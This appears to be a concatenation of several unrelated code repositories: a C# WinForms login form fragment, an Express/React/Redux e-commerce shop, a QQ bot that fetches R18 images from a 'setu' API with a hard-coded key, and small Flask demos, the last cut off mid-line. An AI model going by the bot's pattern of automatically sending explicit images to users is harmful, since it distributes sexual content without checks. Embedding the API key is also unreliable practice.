textBox2.Location = new System.Drawing.Point(212, 266); textBox2.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); textBox2.Name = "textBox2"; textBox2.PasswordChar = '⚫'; textBox2.PlaceholderForeColor = System.Drawing.Color.White; textBox2.PlaceholderText = ""; textBox2.SelectedText = ""; textBox2.ShadowDecoration.Enabled = true; textBox2.ShadowDecoration.Parent = textBox2; textBox2.Size = new System.Drawing.Size(200, 20); textBox2.Style = Guna.UI2.WinForms.Enums.TextBoxStyle.Material; textBox2.TabIndex = 11; guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 19; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.Gray; guna2GradientButton2.FillColor2 = System.Drawing.Color.Silver; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(227, 308); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(160, 40); guna2GradientButton2.TabIndex = 26; guna2GradientButton2.Text = "Login"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click); base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackColor = System.Drawing.Color.White; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; base.ClientSize = new System.Drawing.Size(631, 378); base.Controls.Add(guna2GradientButton2); base.Controls.Add(textBox2); base.Controls.Add(textBox1); base.Controls.Add(label2); base.Controls.Add(pictureBox2); base.Controls.Add(Password); base.Controls.Add(label1); base.Controls.Add(pictureBox1); DoubleBuffered = true; Font = new System.Drawing.Font("Nirmala UI", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0); base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon"); base.Name = "Login"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "gabeutilitesx"; base.Load += new System.EventHandler(Form1_Load); base.MouseDown += new System.Windows.Forms.MouseEventHandler(Login_MouseDown); base.MouseMove += new System.Windows.Forms.MouseEventHandler(Login_MouseMove); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).EndInit(); ResumeLayout(false); PerformLayout(); } } }
d40e0ef294a6a9a95c8521fb995025e60cc23b04
[ "C#" ]
12
C#
jd4245527162/gabeutilitiesx_1
39684b8996fab2453034399a05dea26265d45147
5617a2fe30b7e1f6715c35e73923be90b1ab38db
refs/heads/main
<file_sep>import { ORDER_CREATE_FAIL, ORDER_CREATE_REQUEST, ORDER_CREATE_SUCCSESS, ORDER_DETAILS_FAIL, ORDER_DETAILS_REQUEST, ORDER_DETAILS_SUCCSESS, ORDER_PAY_FAIL, ORDER_PAY_REQUEST, ORDER_PAY_SUCCSESS, ORDER_PAY_RESET, ORDER_LIST_MY_REQUEST, ORDER_LIST_MY_SUCCSESS, ORDER_LIST_MY_FAIL, ORDER_LIST_MY_RESET, ORDER_LIST_REQUEST, ORDER_LIST_SUCCSESS, ORDER_LIST_FAIL, ORDER_DELIVER_REQUEST, ORDER_DELIVER_SUCCSESS, ORDER_DELIVER_FAIL, ORDER_DELIVER_RESET, } from '../constants/orderConstatnts'; export const orderCreateReducer = (state = {}, action) => { switch (action.type) { case ORDER_CREATE_REQUEST: return { loading: true, }; case ORDER_CREATE_SUCCSESS: return { loading: false, success: true, order: action.payload, }; case ORDER_CREATE_FAIL: return { loading: false, error: action.payload, }; default: return state; } }; export const orderDetailsReducer = ( state = { loading: true, orderItems: [], shippingAddress: {} }, action ) => { switch (action.type) { case ORDER_DETAILS_REQUEST: return { ...state, loading: true, }; case ORDER_DETAILS_SUCCSESS: return { loading: false, order: action.payload, }; case ORDER_DETAILS_FAIL: return { loading: false, error: action.payload, }; default: return state; } }; export const orderPayReducer = (state = {}, action) => { switch (action.type) { case ORDER_PAY_REQUEST: return { loading: true, }; case ORDER_PAY_SUCCSESS: return { loading: false, success: true, }; case ORDER_PAY_FAIL: return { loading: false, error: action.payload, }; case ORDER_PAY_RESET: return {}; default: return state; } }; export const orderListMyReducer = (state = { orders: [] }, action) => { switch (action.type) { case ORDER_LIST_MY_REQUEST: return { loading: true, }; case ORDER_LIST_MY_SUCCSESS: return { loading: false, orders: action.payload, }; case ORDER_LIST_MY_FAIL: return { loading: false, error: action.payload, }; case ORDER_LIST_MY_RESET: return { orders: [], }; default: return state; } }; export const orderListReducer = (state = { orders: [] }, action) => { switch (action.type) { case ORDER_LIST_REQUEST: return { loading: true, }; case ORDER_LIST_SUCCSESS: return { loading: false, orders: action.payload, }; case ORDER_LIST_FAIL: return { loading: false, error: action.payload, }; default: return state; } }; export const orderDeliverReducer = (state = {}, action) => { switch (action.type) { case ORDER_DELIVER_REQUEST: return { loading: true, }; case ORDER_DELIVER_SUCCSESS: return { loading: false, success: true, }; case ORDER_DELIVER_FAIL: return { loading: false, error: action.payload, }; case ORDER_DELIVER_RESET: return {}; default: return state; } }; <file_sep>import express from 'express'; import dotenv from 'dotenv'; import connectDB from './cofig/db.js'; import colors from 'colors'; import productRoutes from './routes/productRouts.js'; import userRoutes from './routes/userRout.js'; import orderRoutes from './routes/orderRouts.js'; import { notFound, errorHandler } from './errorMiddleware/errorMidlleware.js'; import uploadRoutes from './routes/uploadsRoute.js' import path from 'path' import morgan from 'morgan' dotenv.config({ path: './back/.env' }); connectDB(); const app = express(); if (process.env.NODE_ENV === 'development') { app.use(morgan('dev')) } app.use(express.json()); app.use('/api/products', productRoutes); app.use('/api/users', userRoutes); app.use('/api/orders', orderRoutes); app.use('/api/upload', uploadRoutes) app.use('/api/config/paypal', (req, res) => { res.send(process.env.PAYPAL_CLIENT_ID); }); const __dirname = path.resolve() app.use('/uploads', express.static(path.join(__dirname, '/uploads'))) if (process.env.NODE_ENV === 'production') { app.use(express.static(path.join(__dirname, '/front/build'))) console.log('__dirname,', __dirname); app.get('*', (req,res) =>{res.sendFile(path.resolve(__dirname, 'front','build','index.html'))}) } else { app.get('/', (req, res) => { res.send('API запущен'); }); } app.use(notFound); app.use(errorHandler); const PORT = process.env.PORT || 5000; app.listen( PORT, console.log( `server up in mode: ${process.env.NODE_ENV} port: ${PORT}`.yellow.bold ) ); <file_sep>export const ORDER_CREATE_REQUEST = 'ORDER_CREATE_REQUEST'; export const ORDER_CREATE_SUCCSESS = 'ORDER_CREATE_SUCCSESS'; export const ORDER_CREATE_FAIL = 'ORDER_CREATE_FAIL'; export const ORDER_DETAILS_REQUEST = 'ORDER_DETAILS_REQUEST'; export const ORDER_DETAILS_SUCCSESS = 'ORDER_DETAILS_SUCCSESS'; export const ORDER_DETAILS_FAIL = 'ORDER_DETAILS_FAIL'; export const ORDER_PAY_REQUEST = 'ORDER_PAY_REQUEST'; export const ORDER_PAY_SUCCSESS = 'ORDER_PAY_SUCCSESS'; export const ORDER_PAY_FAIL = 'ORDER_PAY_FAIL'; export const ORDER_PAY_RESET = 'ORDER_PAY_RESET'; export const ORDER_LIST_MY_REQUEST = 'ORDER_LIST_MY_REQUEST'; export const ORDER_LIST_MY_SUCCSESS = 'ORDER_LIST_MY_SUCCSESS'; export const ORDER_LIST_MY_FAIL = 'ORDER_LIST_MY_FAIL'; export const ORDER_LIST_MY_RESET = 'ORDER_LIST_MY_RESET'; export const ORDER_LIST_REQUEST = 'ORDER_LIST_REQUEST'; export const ORDER_LIST_SUCCSESS = 'ORDER_LIST_SUCCSESS'; export const ORDER_LIST_FAIL = 'ORDER_LIST_FAIL'; export const ORDER_DELIVER_REQUEST = 'ORDER_DELIVER_REQUEST'; export const ORDER_DELIVER_SUCCSESS = 'ORDER_DELIVER_SUCCSESS'; export const ORDER_DELIVER_FAIL = 'ORDER_DELIVER_FAIL'; export const ORDER_DELIVER_RESET = 'ORDER_DELIVER_RESET'; <file_sep># Проект интернет-магазина #</br> https://wascoyur-shop.herokuapp.com/ ## используемые технологии </br> React Node.js Express REST API ## Функциональность ## Магазина: Отображение/добавление/удаление/редактирование товаров </br> Личного кабинета пользователя: регистрация/авторизация пользователя, изменение адреса электронной почты, изменение пароля, добавление/удаление/оплата товара</br> Админ панели: добавление/удаление/изменение изображения товара, изменение данных пользователя, просмотр заказов пользователей</br> <file_sep>import mongoose from 'mongoose' import products from '../back/data/backend_products.js'; import dotenv from 'dotenv'; import connectDB from './cofig/db.js'; import colors from 'colors'; import Order from './models/orderModel.js'; import Product from './models/productModel.js'; import User from './models/userModel.js' import users from './data/users.js' dotenv.config({ path: '../back/.env' }); connectDB(); const exportDataToDb = async () => { try { await Order.deleteMany(); await Product.deleteMany(); await User.deleteMany(); const createdUsers = await User.insertMany(users); const adminUser = createdUsers[0]._id; const sampleProduct = products.map(product =>{ return{...product, user: adminUser} }) await Product.insertMany(sampleProduct) console.log('Data exported to cloud DB.'); process.exit() } catch (error) { console.log(`Error is: ${error}`); process.exit(1); } }; const destroyDataOnDb = async () => { try { await Order.deleteMany(); await Product.deleteMany(); await User.deleteMany(); console.log('Data Deleted on cloud DB.'); process.exit() } catch (error) { console.log(`Error is: ${error}`); process.exit(1); } } if(process.argv[2] === '-d'){ destroyDataOnDb() } else { exportDataToDb() } <file_sep>import React from 'react' import { Container, Row, Col } from 'react-bootstrap' function Footer() { return ( <footer> <Container> <Row> <Col className='text-center py-3'> Adapted by @wascoyur </Col> </Row> <Row> <Col>backend</Col> <Col>Express, Atlas MongoDB</Col> </Row> <Row> <Col>frontend</Col> <Col>React, Bootstrap, Redux </Col> </Row> </Container> </footer> ) } export default Footer <file_sep>import express from 'express'; import { createProduct, createProductReview, deleteProduct, getProdactById, getProdacts, updateProduct, getTopProducts } from '../controllers/productController.js'; import { admin, protect } from '../errorMiddleware/authMiddleware.js'; const router = express.Router(); router.route('/').get(getProdacts).post(protect, admin, createProduct); router.route('/:id/reviews').post(protect, createProductReview); router.get('/top', getTopProducts) router .route('/:id') .get(getProdactById) .delete(protect, admin, deleteProduct) .put(protect, admin, updateProduct); export default router; <file_sep>import mongoose from 'mongoose'; import dotenv from 'dotenv' dotenv.config({ path: '../back/.env' }); // console.log('dbjs-process.env.MONGO_URI', process.env.MONGO_URI); const connectDB = async()=>{ try{ const conn = await mongoose.connect(process.env.MONGO_URI,{ useUnifiedTopology:true, useNewUrlParser:true, useCreateIndex:true }) console.log(`Connect to Db: ${conn.connection.host}`.blue.bold); }catch(e){ console.log(`Error: ${e.message}`.redbold); process.exit(1) } } export default connectDB
0120952aba54d9486118e914c13af0aab496dfe3
[ "JavaScript", "Markdown" ]
8
JavaScript
wascoyur/travercy-shop
6e6d34dcbb515f8d8407743d53995e477d2cffea
50092610e66d7a8f806ae098438f96e5793f0dae
refs/heads/main
<file_sep>const { createClient } = require("oicq") const fs = require("fs") const https = require("https") const qq = 3634848254 const password = "" const master = 2476255563 let allowGroups = [0] let r18 = true const bot = createClient(qq) bot.on("system.login.slider", (data) => { process.stdin.once("data", (input) => { bot.sliderLogin(input) }) }) bot.on("message", (data) => { if (data.sender.user_id == master) { // bot.sendPrivateMsg(master, data.message) // bot.sendPrivateMsg(master, "[CQ:record,file=/home/sagiri/Codes/bot/test.silk]") // bot.sendPrivateMsg(master, "[CQ:flash,file=/home/sagiri/Pictures/Pixiv/74378604_p0.png]") // var fdfs = bot.sendPrivateMsg(master, elems) // bot.deleteMsg(fdfs) if (/^色图/.test(data.raw_message)) { let url = "" let p = data.raw_message.match("^色图 +(.+)") if (p) { url = 'https://api.lolicon.app/setu/?&apikey=94423325603cf41fe1c355&r18=1&keyword=' + p[1] console.log(p[1]) } else { // let keyword = 'sagiri' url = 'https://api.lolicon.app/setu/?&apikey=94423325603cf41fe1c355&r18=1' } https.get(url, (res) => { res.setTimeout(10000, () => { console.log("超时") }) if (res.statusCode === 200) { if (/^application\/json/.test(res.headers['content-type'])) { let rawData = '' res.on('data', (chunk) => { rawData += chunk }) res.on('end', () => { try { const parsedData = JSON.parse(rawData) if (parsedData.code == 0) { let msg_text = '' msg_text += "标题: " + parsedData.data[0].title + "\n" msg_text += "作者: " + parsedData.data[0].author + "\n" msg_text += "pid: " + parsedData.data[0].pid if (data.sub_type == "friend") { bot.sendPrivateMsg(data.sender.user_id, msg_text) } else if (data.sub_type == "group") { bot.sendPrivateMsg(data.sender.user_id, msg_text) } https.get(parsedData.data[0].url, res => { res.setTimeout(10000, () => { console.log("超时") }) let imageData = '' res.setEncoding("binary") res.on('data', chunk => { imageData += chunk }) res.on("end", () => { fs.writeFile(parsedData.data[0].pid + ".jpg", imageData, "binary", err => { }) if (data.sub_type == "friend") { bot.sendPrivateMsg(data.user_id, "[CQ:flash,file=" + parsedData.data[0].pid + ".jpg]") } else if (data.sub_type == "group") { bot.sendPrivateMsg(data.user_id, "[CQ:flash,file=" + parsedData.data[0].pid + ".jpg]") } }) }) } } catch (e) { console.error(e.message) } }) } } else { bot.sendPrivateMsg(data.user_id, "get 失败") } }).on("error", e => { bot.sendPrivateMsg(data.user_id, e) }) } } }) bot.on("system.login", (data) => { }) bot.on("request.friend.add", (data) => { bot.setFriendAddRequest(data.flag, true, "发送: 色图 <关键字(可选)>\n获取色图", false) bot.sendPrivateMsg(master, "同意: " + data.user_id + " " + data.nickname + "\m添加好友请求") }) bot.on("request.group.invite", (data) => { bot.setGroupAddRequest(data.flag, true, "发送: 色图 <关键字(可选)>\n获取色图", false) bot.sendPrivateMsg(master, "同意加群邀请: \n群: " + data.group_id + " " + data.group_name + "\n邀请人: " + data.nickname + " " + data.user_id) }) bot.on("notice.group.decrease", (data) => { bot.sendPrivateMsg(master, "群减少: " + data.group_id + " " + data.group_name) }) bot.on("notice.friend.decrease", (data) => { bot.sendPrivateMsg(master, "好友减少: " + data.user_id + " " + data.nickname) }) bot.login(password)
4c0cc8f6a788f3b08ddabda0d0688b8d9c7cc13e
[ "JavaScript" ]
1
JavaScript
EroSagiri/oicq_erobot
922484d146e2b6a4a3ea77d5fe8931d0ab1f3987
db116e7936cd4efd071c9c8f08e1ec590b19e9b9
refs/heads/master
<file_sep>FROM docker:latest LABEL maintainer=<EMAIL> RUN apk --update --no-cache add \ bash \ python3 WORKDIR /app COPY . /app RUN pip3 install -r requirements.txt # ARG PORT # EXPOSE ${PORT} # ENV PORT=${PORT} EXPOSE 4647 CMD ["python3", "server.py"] <file_sep>import asyncio from contextlib import contextmanager import aiohttp import docker import time @contextmanager def using_container(docker_client, *args, **kwargs): container = docker_client.containers.run( *args, **kwargs, detach=True) while container.status != 'running': container.reload() time.sleep(2) try: yield container finally: container.kill() container.wait() container.remove() async def main(): dclient = docker.from_env() with using_container( dclient, image="abingham/aio-server", name="aio-server", network="aio", ports={ '4647/tcp': 4647 }, ) as container: async with aiohttp.ClientSession() as session: async with session.get('http://aio-server:4647/foo') as resp: print(resp.status) print(await resp.text()) if __name__ == '__main__': asyncio.get_event_loop().run_until_complete(main()) <file_sep># Docker-in-Docker webserver experiment I'm trying to figure out how to run a docker container from another container, something knows as docker-in-docker. The "client" container will first start an "server" container. This server container will run a webserver and expose an HTTP port from the container. The client container will then run a simple web client that attempts to get an HTTP resource from the server container's server. Simple, right? ## Why? I'm doing this because this is how we're planning to implement REPLs in cyber-dojo. A long-lived container, `runner_repl`, will launch sub-containers, `repl_containers`, when new REPL processes are needed. `runner_repl` will proxy HTTP and websocket traffix to `repl_container`s. So this experiment is a simplified version of that scenario to make sure we can get the plumbing to work. ## Experiment 1: Launching containers from Python I'm implementing this experiment (and the cyber-dojo work) in Python. So step one is to figure out how to run docker commands from Python. Fortunately, the excellent [docker-py](https://github.com/docker/docker-py) project makes that pretty simple. So our first experiment is to create a Python program that can launch the server container and fetch a resource from it. Critically, this is *not* using docker-in-docker; we're just creating a container from a Python process. The code in git tag `experiment-1` implements this experiment. Interestingly, I was only able to make this work on my mac by using Docker Toolkit. To try it out, do something like this from the project root (and probably from a Python virtual environment): ``` git docker rm -f aio-server docker build -t abingham/aio-server server pip install -r client/requirements.txt python client/client.py ``` It should print something like: ``` 200 foo ``` ### Things to note There are a few things to note about this experiment. First, as mentioned above, it only worked on Docker Toolbox. On normal Docker for Mac it just fell over with an error like this: ``` Traceback (most recent call last): File "client.py", line 41, in <module> asyncio.get_event_loop().run_until_complete(main()) File "/usr/lib/python3.6/asyncio/base_events.py", line 466, in run_until_complete return future.result() File "client.py", line 36, in main async with session.get('http://docker.for.mac.host.internal:4647/foo') as resp: File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 779, in __aenter__ self._resp = await self._coro File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 331, in _request await resp.start(conn, read_until_eof) File "/usr/lib/python3.6/site-packages/aiohttp/client_reqrep.py", line 678, in start (message, payload) = await self._protocol.read() File "/usr/lib/python3.6/site-packages/aiohttp/streams.py", line 533, in read await self._waiter aiohttp.client_exceptions.ServerDisconnectedError: None ``` That is, the server seems to be disconnecting for no good reason. Second, I used the default network mode. I would have thought that I would have to specify "host", but that was not the case. With the default settings, the Python process was able to connect to the server container's expose port 4647 at IP address 0.0.0.0. All in all, this gives me confidence that `docker-py` is a good tool for the job. ## Experiment 2: Docker-in-docker The next step is to run the client in a container. It will launch a nested container with the server, just like before. As I understand things, if we can get this to work, then we can get the full cyber-dojo REPL system to work. ### 2A: Simply trying `docker run` As a first attempt, I just built a docker image that runs the `client.py` script. I then ran it in as simple a manner as possible, something like this: ``` docker rm -f aio-server aio-client docker build -t abingham/aio-server server docker build -t abingham/aio-client client docker run abingham/aio-client ``` Unfortunately this fails with a dramatic exception: ``` % docker run abingham/aio-client Traceback (most recent call last): File "/usr/lib/python3.6/site-packages/urllib3/connectionpool.py", line 601, in urlopen chunked=chunked) File "/usr/lib/python3.6/site-packages/urllib3/connectionpool.py", line 357, in _make_request conn.request(method, url, **httplib_request_kw) File "/usr/lib/python3.6/http/client.py", line 1239, in request self._send_request(method, url, body, headers, encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1285, in _send_request self.endheaders(body, encode_chunked=encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1234, in endheaders self._send_output(message_body, encode_chunked=encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1026, in _send_output self.send(msg) File "/usr/lib/python3.6/http/client.py", line 964, in send self.connect() File "/usr/lib/python3.6/site-packages/docker/transport/unixconn.py", line 46, in connect sock.connect(self.unix_socket) FileNotFoundError: [Errno 2] No such file or directory During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/lib/python3.6/site-packages/requests/adapters.py", line 440, in send timeout=timeout File "/usr/lib/python3.6/site-packages/urllib3/connectionpool.py", line 639, in urlopen _stacktrace=sys.exc_info()[2]) File "/usr/lib/python3.6/site-packages/urllib3/util/retry.py", line 357, in increment raise six.reraise(type(error), error, _stacktrace) File "/usr/lib/python3.6/site-packages/urllib3/packages/six.py", line 685, in reraise raise value.with_traceback(tb) File "/usr/lib/python3.6/site-packages/urllib3/connectionpool.py", line 601, in urlopen chunked=chunked) File "/usr/lib/python3.6/site-packages/urllib3/connectionpool.py", line 357, in _make_request conn.request(method, url, **httplib_request_kw) File "/usr/lib/python3.6/http/client.py", line 1239, in request self._send_request(method, url, body, headers, encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1285, in _send_request self.endheaders(body, encode_chunked=encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1234, in endheaders self._send_output(message_body, encode_chunked=encode_chunked) File "/usr/lib/python3.6/http/client.py", line 1026, in _send_output self.send(msg) File "/usr/lib/python3.6/http/client.py", line 964, in send self.connect() File "/usr/lib/python3.6/site-packages/docker/transport/unixconn.py", line 46, in connect sock.connect(self.unix_socket) urllib3.exceptions.ProtocolError: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory')) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "client.py", line 41, in <module> asyncio.get_event_loop().run_until_complete(main()) File "/usr/lib/python3.6/asyncio/base_events.py", line 467, in run_until_complete return future.result() File "client.py", line 31, in main '4647/tcp': 4647, File "/usr/lib/python3.6/contextlib.py", line 81, in __enter__ return next(self.gen) File "client.py", line 10, in using_container container = docker_client.containers.run(*args, **kwargs, detach=True) File "/usr/lib/python3.6/site-packages/docker/models/containers.py", line 745, in run detach=detach, **kwargs) File "/usr/lib/python3.6/site-packages/docker/models/containers.py", line 803, in create resp = self.client.api.create_container(**create_kwargs) File "/usr/lib/python3.6/site-packages/docker/api/container.py", line 403, in create_container return self.create_container_from_config(config, name) File "/usr/lib/python3.6/site-packages/docker/api/container.py", line 413, in create_container_from_config res = self._post_json(u, data=config, params=params) File "/usr/lib/python3.6/site-packages/docker/api/client.py", line 251, in _post_json return self._post(url, data=json.dumps(data2), **kwargs) File "/usr/lib/python3.6/site-packages/docker/utils/decorators.py", line 46, in inner return f(self, *args, **kwargs) File "/usr/lib/python3.6/site-packages/docker/api/client.py", line 188, in _post return self.post(url, **self._set_request_timeout(kwargs)) File "/usr/lib/python3.6/site-packages/requests/sessions.py", line 555, in post return self.request('POST', url, data=data, json=json, **kwargs) File "/usr/lib/python3.6/site-packages/requests/sessions.py", line 508, in request resp = self.send(prep, **send_kwargs) File "/usr/lib/python3.6/site-packages/requests/sessions.py", line 618, in send r = adapter.send(request, **kwargs) File "/usr/lib/python3.6/site-packages/requests/adapters.py", line 490, in send raise ConnectionError(err, request=request) requests.exceptions.ConnectionError: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory')) ``` The upshot of this is that the python script in the client wasn't able to create a new container. And it wasn't able to do this because it couldn't connect to the docker server. ## Experiment 2b: Hard-code the docker-toolbox environment variables into the client My guess as to the problem is that the Docker Toolbox environment isn't properly configured in the client container. Docker Toolbox defines a few variables that the docker-py client constructor uses for connection: ``` DOCKER_HOST=tcp://192.168.99.100:2376 DOCKER_MACHINE_NAME=default DOCKER_TLS_VERIFY=1 DOCKER_CERT_PATH=/Users/abingham/.docker/machine/machines/default ``` So as a first guess, I'm going to try hard-coding these values into a dict that we use to construct the docker client. The first problem with this is that the `DOCKER_CERT_PATH` doesn't exist in the client container. So we might need to map that directory into the client container. But that's getting out into the weeds... ## Experiment 2c: Try it with normal Docker for Mac Before going on what might be a very wild goose chase with Docker Toolbox, I want to try the docker on docker in normal Docker for Mac. The first attempt at the failed with errors identical to what we saw in 2A. A bit of googling around taught me that I need to map the docker docket into the container like this: ``` docker run -v /var/run/docker.sock:/var/run/docker.sock abingham/aio-client ``` With this in place, I get a different and more interesting error: ``` % docker run -v /var/run/docker.sock:/var/run/docker.sock abingham/aio-client Traceback (most recent call last): File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 800, in _wrap_create_connection return await self._loop.create_connection(*args, **kwargs) File "/usr/lib/python3.6/asyncio/base_events.py", line 776, in create_connection raise exceptions[0] File "/usr/lib/python3.6/asyncio/base_events.py", line 763, in create_connection yield from self.sock_connect(sock, address) File "/usr/lib/python3.6/asyncio/selector_events.py", line 451, in sock_connect return (yield from fut) File "/usr/lib/python3.6/asyncio/selector_events.py", line 481, in _sock_connect_cb raise OSError(err, 'Connect call failed %s' % (address,)) ConnectionRefusedError: [Errno 111] Connect call failed ('0.0.0.0', 4647) The above exception was the direct cause of the following exception: Traceback (most recent call last): File "client.py", line 41, in <module> asyncio.get_event_loop().run_until_complete(main()) File "/usr/lib/python3.6/asyncio/base_events.py", line 466, in run_until_complete return future.result() File "client.py", line 36, in main async with session.get('http://0.0.0.0:4647/foo') as resp: File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 779, in __aenter__ self._resp = await self._coro File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 319, in _request traces=traces File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 418, in connect traces=traces File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 736, in _create_connection traces=None File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 855, in _create_direct_connection raise last_exc File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 838, in _create_direct_connection req=req, client_error=client_error) File "/usr/lib/python3.6/site-packages/aiohttp/connector.py", line 807, in _wrap_create_connection raise client_error(req.connection_key, exc) from exc aiohttp.client_exceptions.ClientConnectorError: Cannot connect to host 0.0.0.0:4647 ssl:False [Connect call failed ('0.0.0.0', 4647)] ``` Now I'm seeing a failure of name resolution *in the client script*. So we've created the server and client containers, but the client isn't able to find the server at the expected location. I'm not entirely sure I understand why this is happening. From what I gather, networking on Docker for Mac is quite limited. You can read the gory details [here](https://docs.docker.com/docker-for-mac/networking/#known-limitations-use-cases-and-workarounds). One hint in there, though, is that we can use the magical host `docker.for.mac.host.internal`. If I use this address, I see the strange disconnection that I saw in experiment 1: ``` Traceback (most recent call last): File "client.py", line 41, in <module> asyncio.get_event_loop().run_until_complete(main()) File "/usr/lib/python3.6/asyncio/base_events.py", line 466, in run_until_complete return future.result() File "client.py", line 36, in main async with session.get('http://docker.for.mac.host.internal:4647/foo') as resp: File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 779, in __aenter__ self._resp = await self._coro File "/usr/lib/python3.6/site-packages/aiohttp/client.py", line 331, in _request await resp.start(conn, read_until_eof) File "/usr/lib/python3.6/site-packages/aiohttp/client_reqrep.py", line 678, in start (message, payload) = await self._protocol.read() File "/usr/lib/python3.6/site-packages/aiohttp/streams.py", line 533, in read await self._waiter aiohttp.client_exceptions.ServerDisconnectedError: None ``` While disappointing, this actually seems to be good news! It seems I was able to spin up both containers and connect to the server. ## Experiment 2d: Try the macvlan network mode if possible TODO # Experiment 3: Mac is hard, let's try linux At this point I'm pretty sure that my problems stem from Docker on Mac, so I think the smart thing to do is try this in the Docker motherland, Linux. I'm going to create a linux VM and see what happens there. It's turtles all the way down... This didn't bear any fruit immediately, and I changed tack mid-experiment based on some advice from Jon. # Experiment 4: Using docker-compose Based on Jon's suggestion and implementation, it appears that docker-compose in fact makes this all work. My understanding was that DC would start all of the containers for us, missing the goal of letting us start our containers, but that's not entirely the case. While I'm sure that I attemped to replicate what DC is doing --- creating a private network and using it for inter-container communication --- I must have done something wrong because evidently that approach does work. The results of this work can be found in the tag `experiment-4`. Thanks, Jon! Based on this work, I think we're ready to try adding this to CD itself! <file_sep>docker rmi -f abingham/aio-server docker rmi -f abingham/aio-client docker build -t abingham/aio-server server docker build -t abingham/aio-client client <file_sep>from aiohttp import web async def handle_foo(request): return web.Response(text="foo") app = web.Application() app.router.add_get("/foo", handle_foo) web.run_app(app, port=4647)
d06f1ce87f0389fa79946078ffcd41275b155686
[ "Markdown", "Python", "Dockerfile", "Shell" ]
5
Dockerfile
abingham/did-experiments
fd74f77c8aa54eac883853993bae6a9763be80c4
fb9dd0eebc5c2d358162aee8055552af377c4ae0
refs/heads/main
<file_sep>from flask import Flask,render_template,request,redirect from flask_mysqldb import MySQL import yaml app=Flask(__name__) #Configure db db=yaml.load(open('db.yaml')) app.config['MYSQL_HOST']=db['mysql_host'] app.config['MYSQL_USER']=db['mysql_user'] app.config['MYSQL_PASSWORD']=db['mysql_<PASSWORD>'] app.config['MYSQL_DB']=db['mysql_db'] mysql=MySQL(app) @app.route('/',methods=['GET','POST']) def home(): if request.method=="POST": name=request.form['name'] email=request.form['email'] cur =mysql.connection.cursor() cur.execute("Insert into users(name,email) values (%s, %s)",(name,email)) mysql.connection.commit() cur.close() return redirect('/users') return render_template("validation.html") @app.route('/users') def users(): cur=mysql.connection.cursor() resultvalue=cur.execute("select * from users") if resultvalue>0: userdetails=cur.fetchall() return render_template('users.html',userdetails=userdetails) if __name__=='__main__': app.run(debug=True)<file_sep>from flask import Flask,render_template app=Flask(__name__) fruit=[ { 'name':'Apple', 'color':'red', 'contains':'vitamins,minerals' }, { 'name':'Orange', 'color':'org', 'contains':'weightloss' } ] @app.route('/') def home(): return render_template('base.html',title='Home',posts=fruit) if __name__=='__main__': app.run(debug=True)<file_sep>{% extends "home.html" %} {% block content %} {% for post in posts %} <h2><u>{{post.name}} :</u></h2> <h3>{{post.color}} in color and contains {{post.contains}}</h3> <h3>Yeah we did it</h3> {% endfor %} {% endblock %} <file_sep>from flask import Flask,redirect,url_for,render_template,request app=Flask(__name__) @app.route('/') def home(): return render_template('index.html') @app.route('/success/<int:score>') def success(score): res="" if score>=50: res="Success" else: res="Fail" return "The person has "+str(res) @app.route('/fail/<int:score>') def fail(score): return "The person has failed" +str(score) @app.route('/results/<int:marks>') def results(marks): result="" if marks<50: result="fail" else: result="success" return redirect(url_for(result,score=marks)) @app.route('/submit',methods=['POST','GET']) def submit(): total_score=0 if request.method=='POST': ds=float(request.form['ds']) ml=float(request.form['ml']) dl=float(request.form['dl']) total_score=(ds+ml+dl)/3 print(total_score) return 